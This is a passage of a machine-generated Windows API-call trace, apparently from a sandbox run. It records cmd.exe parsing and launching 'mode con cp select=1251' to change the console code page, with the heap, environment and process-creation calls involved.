lpWideCharStr="2") returned 1 [0039.109] _get_osfhandle (_FileHandle=0) returned 0xe8 [0039.109] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0039.109] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0039.109] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce34a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0039.109] _get_osfhandle (_FileHandle=0) returned 0xe8 [0039.109] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0039.109] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0039.109] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce34c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0039.109] _get_osfhandle (_FileHandle=0) returned 0xe8 [0039.109] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0039.109] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0039.109] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce34e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0039.109] _get_osfhandle (_FileHandle=0) returned 0xe8 [0039.109] GetFileType (hFile=0xe8) returned 0x3 [0039.110] _get_osfhandle (_FileHandle=0) returned 0xe8 [0039.110] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0039.110] _get_osfhandle (_FileHandle=1) returned 0xf4 [0039.110] GetFileType (hFile=0xf4) returned 0x3 [0039.110] _get_osfhandle (_FileHandle=1) returned 0xf4 [0039.110] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x4a9cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0039.110] WriteFile (in: hFile=0xf4, lpBuffer=0x4a9cc320*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x25f818, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesWritten=0x25f818*=0x18, lpOverlapped=0x0) returned 1 [0039.110] GetProcessHeap () returned 0x2e0000 [0039.110] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x4012) returned 0x2fcd20 [0039.110] GetProcessHeap () returned 0x2e0000 [0039.110] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcd20 | out: hHeap=0x2e0000) returned 1 [0039.110] _wcsicmp (_String1="mode", _String2=")") returned 68 [0039.110] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0039.110] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0039.110] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0039.110] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0039.110] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0039.110] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0039.110] GetProcessHeap () returned 0x2e0000 [0039.110] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xb0) returned 0x2f97e0 [0039.110] GetProcessHeap () returned 0x2e0000 [0039.110] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x1a) returned 0x2f4610 [0039.111] GetProcessHeap () returned 0x2e0000 [0039.111] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x38) returned 0x2f6510 [0039.112] GetConsoleOutputCP () returned 0x1b5 [0039.114] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a9cbfe0 | out: lpCPInfo=0x4a9cbfe0) returned 1 [0039.114] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0039.114] GetConsoleTitleW (in: lpConsoleTitle=0x25f7d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0039.114] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0039.114] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0039.114] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0039.114] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0039.114] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0039.114] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0039.114] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0039.114] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0039.114] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0039.114] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0039.114] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0039.114] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0039.114] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0039.114] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0039.114] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0039.114] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0039.115] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0039.115] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0039.115] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0039.115] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0039.115] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0039.115] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0039.115] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0039.115] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0039.115] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0039.115] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0039.115] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0039.115] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0039.115] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0039.115] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0039.115] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0039.115] _wcsicmp (_String1="mode", _String2="START") returned -6 [0039.115] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0039.115] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0039.115] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0039.115] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0039.115] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0039.115] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0039.115] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0039.115] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0039.115] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0039.115] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0039.115] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0039.115] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0039.115] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0039.115] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0039.116] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0039.116] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0039.116] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0039.116] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0039.116] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0039.116] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0039.116] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0039.116] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0039.116] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0039.116] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0039.116] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0039.116] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0039.116] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0039.116] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0039.116] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0039.116] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0039.116] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0039.116] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0039.116] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0039.116] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0039.116] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0039.116] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0039.116] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0039.116] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0039.116] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0039.116] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0039.116] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0039.116] _wcsicmp (_String1="mode", _String2="START") returned -6 [0039.116] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0039.116] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0039.116] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0039.116] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0039.116] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0039.116] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0039.116] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0039.116] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0039.116] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0039.117] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0039.117] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0039.117] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0039.117] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0039.117] GetProcessHeap () returned 0x2e0000 [0039.117] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x218) returned 0x2e1ab0 [0039.117] GetProcessHeap () returned 0x2e0000 [0039.117] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x42) returned 0x2f98a0 [0039.117] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0039.117] GetProcessHeap () returned 0x2e0000 [0039.117] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x420) returned 0x2f9a80 [0039.117] SetErrorMode (uMode=0x0) returned 0x0 [0039.117] SetErrorMode (uMode=0x1) returned 0x0 [0039.117] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x2f9a90, lpFilePart=0x25f060 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x25f060*="Desktop") returned 0x25 [0039.117] SetErrorMode (uMode=0x0) returned 0x1 [0039.117] GetProcessHeap () returned 0x2e0000 [0039.117] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x2f9a80, Size=0x66) returned 0x2f9a80 [0039.118] GetProcessHeap () returned 0x2e0000 [0039.118] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f9a80) returned 0x66 [0039.118] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a9bf360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0039.118] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0039.118] GetProcessHeap () returned 0x2e0000 [0039.118] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x128) returned 0x2e1cd0 [0039.118] GetProcessHeap () returned 0x2e0000 [0039.118] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x240) returned 0x2f9b00 [0039.124] GetProcessHeap () returned 0x2e0000 [0039.124] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x2f9b00, Size=0x12a) returned 0x2f9b00 [0039.124] GetProcessHeap () returned 0x2e0000 [0039.124] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f9b00) returned 0x12a [0039.124] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a9bf360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0039.124] GetProcessHeap () returned 0x2e0000 [0039.124] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xe8) returned 0x2f5b70 [0039.124] GetProcessHeap () returned 0x2e0000 [0039.124] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x2f5b70, Size=0x7e) returned 0x2f5b70 [0039.124] GetProcessHeap () returned 0x2e0000 [0039.124] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5b70) returned 0x7e [0039.125] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0039.125] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x25edd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x25edd0) returned 0xffffffffffffffff [0039.126] GetLastError () returned 0x2 [0039.126] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mode", fInfoLevelId=0x1, lpFindFileData=0x25edd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x25edd0) returned 0xffffffffffffffff [0039.126] GetLastError () returned 0x2 [0039.126] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0039.126] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x25edd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x25edd0) returned 0x2f5c00 [0039.126] GetProcessHeap () returned 0x2e0000 [0039.126] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x28) returned 0x2f4640 [0039.126] FindClose (in: hFindFile=0x2f5c00 | out: hFindFile=0x2f5c00) returned 1 [0039.126] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x25edd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x25edd0) returned 0x2f5c00 [0039.126] GetProcessHeap () returned 0x2e0000 [0039.126] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x2f4640, Size=0x8) returned 0x2f98f0 [0039.126] FindClose (in: hFindFile=0x2f5c00 | out: hFindFile=0x2f5c00) returned 1 [0039.126] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0039.127] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0039.127] GetConsoleTitleW (in: lpConsoleTitle=0x25f320, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0039.127] GetProcessHeap () returned 0x2e0000 [0039.127] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x21c) returned 0x2f9c40 [0039.127] GetConsoleTitleW (in: lpConsoleTitle=0x2f9c50, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0039.127] GetProcessHeap () returned 0x2e0000 [0039.127] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x2f9c40, Size=0xa8) returned 0x2f9c40 [0039.127] GetProcessHeap () returned 0x2e0000 [0039.127] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f9c40) returned 0xa8 [0039.127] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0039.128] GetProcessHeap () returned 0x2e0000 [0039.128] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f9c40 | out: hHeap=0x2e0000) returned 1 [0039.128] InitializeProcThreadAttributeList (in: lpAttributeList=0x25f0d8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x25f098 | out: lpAttributeList=0x25f0d8, lpSize=0x25f098) returned 1 [0039.128] UpdateProcThreadAttribute (in: lpAttributeList=0x25f0d8, dwFlags=0x0, Attribute=0x60001, lpValue=0x25f088, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x25f0d8, lpPreviousValue=0x0) returned 1 [0039.128] GetStartupInfoW (in: lpStartupInfo=0x25f1f0 | out: lpStartupInfo=0x25f1f0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0039.128] GetProcessHeap () returned 0x2e0000 [0039.128] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x20) returned 0x2f4640 [0039.128] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0039.128] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0039.128] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0039.128] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0039.128] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0039.128] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0039.128] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0039.128] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0039.128] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0039.128] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0039.128] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0039.128] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0039.128] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0039.128] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0039.128] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0039.128] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0039.128] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0039.128] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0039.128] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0039.128] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0039.128] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0039.128] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0039.128] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0039.129] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0039.129] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0039.129] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0039.129] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0039.129] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0039.129] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0039.129] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0039.129] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0039.129] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0039.129] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0039.129] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0039.129] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0039.129] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0039.129] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0039.129] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0039.129] GetProcessHeap () returned 0x2e0000 [0039.129] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f4640 | out: hHeap=0x2e0000) returned 1 [0039.129] GetProcessHeap () returned 0x2e0000 [0039.129] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x12) returned 0x2f8900 [0039.129] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x25f110*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x25f0c0 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x25f0c0*(hProcess=0x54, hThread=0x50, dwProcessId=0x968, dwThreadId=0x96c)) returned 1 [0039.487] CloseHandle (hObject=0x50) returned 1 [0039.487] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0039.487] GetProcessHeap () returned 0x2e0000 [0039.487] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc230 | out: hHeap=0x2e0000) returned 1 [0039.487] GetEnvironmentStringsW () returned 0x2faa10* [0039.487] GetProcessHeap () returned 0x2e0000 [0039.487] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xae8) returned 0x2fb500 [0039.487] FreeEnvironmentStringsW (penv=0x2faa10) returned 1 [0039.488] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x76f50000 [0039.488] GetProcAddress (hModule=0x76f50000, lpProcName="NtQueryInformationProcess") returned 0x76fa14a0 [0039.488] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x25e9c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x25e9c8, ReturnLength=0x0) returned 0x0 [0039.488] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd4000, lpBuffer=0x25ea00, nSize=0x380, lpNumberOfBytesRead=0x25e9c0 | out: lpBuffer=0x25ea00*, lpNumberOfBytesRead=0x25e9c0*=0x380) returned 1 [0039.488] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0040.238] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x25f008 | out: lpExitCode=0x25f008*=0x0) returned 1 [0040.238] CloseHandle (hObject=0x54) returned 1 [0040.238] _vsnwprintf (in: _Buffer=0x25f278, _BufferCount=0x13, _Format="%08X", _ArgList=0x25f018 | out: _Buffer="00000000") returned 8 [0040.238] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0040.238] GetProcessHeap () returned 0x2e0000 [0040.239] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb500 | out: hHeap=0x2e0000) returned 1 [0040.239] GetEnvironmentStringsW () returned 0x2faa10* [0040.239] GetProcessHeap () returned 0x2e0000 [0040.239] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xb0e) returned 0x2feb10 [0040.239] FreeEnvironmentStringsW (penv=0x2faa10) returned 1 [0040.239] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0040.239] GetProcessHeap () returned 0x2e0000 [0040.239] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2feb10 | out: hHeap=0x2e0000) returned 1 [0040.239] GetEnvironmentStringsW () returned 0x2faa10* [0040.239] GetProcessHeap () returned 0x2e0000 [0040.239] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xb0e) returned 0x2feb10 [0040.239] FreeEnvironmentStringsW (penv=0x2faa10) returned 1 [0040.239] GetProcessHeap () returned 0x2e0000 [0040.239] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f8900 | out: hHeap=0x2e0000) returned 1 [0040.239] DeleteProcThreadAttributeList (in: lpAttributeList=0x25f0d8 | out: lpAttributeList=0x25f0d8) [0040.334] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0040.335] _get_osfhandle (_FileHandle=1) returned 0xf4 [0040.335] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0040.335] _get_osfhandle (_FileHandle=1) returned 0xf4 [0040.335] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a9be194 | out: lpMode=0x4a9be194) returned 0 [0040.336] _get_osfhandle (_FileHandle=0) returned 0xe8 [0040.336] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a9be198 | out: lpMode=0x4a9be198) returned 0 [0040.336] GetConsoleOutputCP () returned 0x4e3 [0040.336] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a9cbfe0 | out: lpCPInfo=0x4a9cbfe0) returned 1 [0040.337] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0040.337] GetProcessHeap () returned 0x2e0000 [0040.337] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5b70 | out: hHeap=0x2e0000) returned 1 [0040.337] GetProcessHeap () returned 0x2e0000 [0040.337] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f9b00 | out: hHeap=0x2e0000) returned 1 [0040.337] GetProcessHeap () returned 0x2e0000 [0040.337] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2e1cd0 | out: hHeap=0x2e0000) returned 1 [0040.337] GetProcessHeap () returned 0x2e0000 [0040.337] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f9a80 | out: hHeap=0x2e0000) returned 1 [0040.337] GetProcessHeap () returned 0x2e0000 [0040.337] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f98a0 | out: hHeap=0x2e0000) returned 1 [0040.337] GetProcessHeap () returned 0x2e0000 [0040.337] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2e1ab0 | out: hHeap=0x2e0000) returned 1 [0040.337] GetProcessHeap () returned 0x2e0000 [0040.337] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f6510 | out: hHeap=0x2e0000) returned 1 [0040.337] GetProcessHeap () returned 0x2e0000 [0040.337] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f4610 